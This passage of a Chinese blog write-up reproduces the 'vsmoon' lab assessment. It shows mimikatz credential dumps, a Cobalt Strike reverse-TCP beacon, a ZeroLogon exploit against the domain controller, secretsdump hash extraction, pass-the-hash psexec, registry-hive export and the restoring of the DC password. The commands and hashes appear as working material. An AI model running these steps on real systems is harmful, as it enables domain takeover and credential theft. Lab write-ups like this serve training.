    wdigest :    
     * Username : Administrator
     * Domain   : DATA
     * Password : (null)
    kerberos :    
     * Username : Administrator
     * Domain   : DATA
     * Password : (null)
    ssp :    
    credman :    

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-19
    msv :    
    tspkg :    
    wdigest :    
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :    
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :    
    credman :    

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-18
    msv :    
    tspkg :    
    wdigest :    
     * Username : DATA$
     * Domain   : VSMOON
     * Password : (null)
    kerberos :    
     * Username : data$
     * Domain   : VSMOON.COM
     * Password : (null)
    ssp :    
    credman :    

尝试横向移动

beacon> jump psexec ad re-tcp
[+]host called home, sent: 297622 bytes
[*] Tasked beacon to run windows/beacon_reverse_tcp (192.168.22.152:7878) on ad via Service Control Manager (\\ad\ADMIN$\8a7226d.exe)[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user    : Administrator
domain    : DATA
program    : C:\Windows\system32\cmd.exe /c echo a01a77dbaaf >\\.\pipe\34df4d
impers.    : no
NTLM    : e0eaa205900fd89d4ebc9fe6176b4763
  |  PID  1520|  TID  2420|  LSA Process is now R/W
  |  LUID 0;746957(00000000:000b65cd)\_ msv1_0   - data copy @ 0000000FE49B4B50 : OK !\_ kerberos - 

[+]host called home, sent: 294126 bytes
[-] could not upload file: 1326 - ERROR_LOGON_FAILURE
[-] Could not openservice control manager on ad: 5

横向移动失败!

使用 CVE-2020-1472(ZeroLogon)拿下域控

使用cs开启代理扫描域控是否存在漏洞。

image-20221016204953593

这里还是使用 SocksCap64 来转发流量

image-20221016205314888

使用脚本置空域控密码

python cve-2020-1472-exploit.py -n ad -t 10.10.10.137

image-20221016213624248

secretsdump.exe 导出Hash

secretsdump.exe vsmoon.com/ad\[email protected] -no-pass

image-20221016221535788

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9307d2f925e8c9025ff452c0f6681313:::
vsmoon.com\data:1104:aad3b435b51404eeaad3b435b51404ee:3e9b45207bedfe4877c5567673e19d01:::
AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DATA$:1105:aad3b435b51404eeaad3b435b51404ee:dbcf2fc907129da73618daaacfda88e8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:134e1843ce6aa68b586b93f6b33b67adf26ae3dc9cab78be617eaf538bbbfcd0
krbtgt:aes128-cts-hmac-sha1-96:b1284e87a3414a984d5295801f10ddc1
krbtgt:des-cbc-md5:133723fdc7970d4a
vsmoon.com\data:aes256-cts-hmac-sha1-96:8dbb79f54eb6160e00f424386eed8650b19a76f7a870732cd21df63cd5139e99
vsmoon.com\data:aes128-cts-hmac-sha1-96:eb597a5e13b47685916dc3406e8028ce
vsmoon.com\data:des-cbc-md5:6e2f6e6da2e96bf4
AD$:aes256-cts-hmac-sha1-96:a7c23d712488d3c211bf50cc4cff225bc0781a86ba5d46d43fd18bedca68f2d6
AD$:aes128-cts-hmac-sha1-96:1d3cbd31aba22311b1f5fb61eeca2e0e
AD$:des-cbc-md5:26d9235845d07643
DATA$:aes256-cts-hmac-sha1-96:76cecb631622e5aec527f702439396a406904d0189f1bb129ecfc4b999d6ff8f
DATA$:aes128-cts-hmac-sha1-96:eccea1ea8bd3788b09f16e27f4bfabd1
DATA$:des-cbc-md5:7c70ba0bec0d54c1
[*] Cleaning up...

上线cs

psexec.exe 登录域控

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/[email protected]

解密 DATA 的密码,建立 IPC$ 连接

net use \\10.10.10.136\c$ QWEasd12300 /user:administrator

映射 DATA 的 c 盘为 z 盘

net use z: \\10.10.10.136\c$

生成转发上线木马放在 DATA 的 c 盘中,并执行木马上线

z:\ad.exe

三台主机成功上线

image-20221016230435737

image-20221016230509364

恢复域控密码

注册表导出密码文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

解密密码文件

# python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

C:\Users\Anonymous\Desktop\vmmoon>python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xb34b17556cade716de1f36076e43efdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets
[*]$MACHINE.ACC
$MACHINE.ACC:plain_password_hex:14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1680f1720be4c2eea070114d91b0b9cc
[*] DefaultPassword
(Unknown User):ROOT#123[*] DPAPI_SYSTEM
dpapi_machinekey:0xf7620224a66b0b07cc3e0b45263c52aa643a0cfe
dpapi_userkey:0x4fd6a5521fd01d1bb047843ed141840ab2603180
[*] NL$KM
 0000   A3 1B 0C 50 A7 32 09 2A  43 02 DD DA 2B 89 B4 FD   ...P.2.*C...+...
 0010   AA 4C BD 1691 F8 C7 D5  A1 F1 26 F3 6A CD A4 00   .L........&.j...
 0020   0E 06 AC FF 458879 C6  EF B6 1C 87 9F A5 C0 C0   ....E.y.........
 0030   72 C0 D7 3248 A1 A7 10  F0 4050 9F A3 92 BE 34   [email protected]
NL$KM:a31b0c50a732092a4302ddda2b89b4fdaa4cbd1691f8c7d5a1f126f36acda4000e06acff458879c6efb61c879fa5c0c072c0d73248a1a710f040509fa392be34
[*] Cleaning up...

恢复密码

python reinstall_original_pw.py ad 10.10.10.137 14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76

成功恢复密码

image-20221016231520701

总结

项目主要考核能力:

  • PHP代码审计
  • Python 脚本的编写
  • Java代码审计以及Java反序列化的利用
  • 内网漫游以及攻击域控

这次主要死在Java反序列化的利用,反序列化的点是找到了但是不知道利用那个反序列化链以及不会编写简单的 Java exp进行攻击。

一句话,安全与开发缺一不可!!!

标签: 网络 安全

本文转载自: https://blog.csdn.net/qq_53742230/article/details/127375535
版权归原作者 许我写余生ღ 所有, 如有侵权,请联系我们删除。

“vsmoon 考核项目复现”的评论:

还没有评论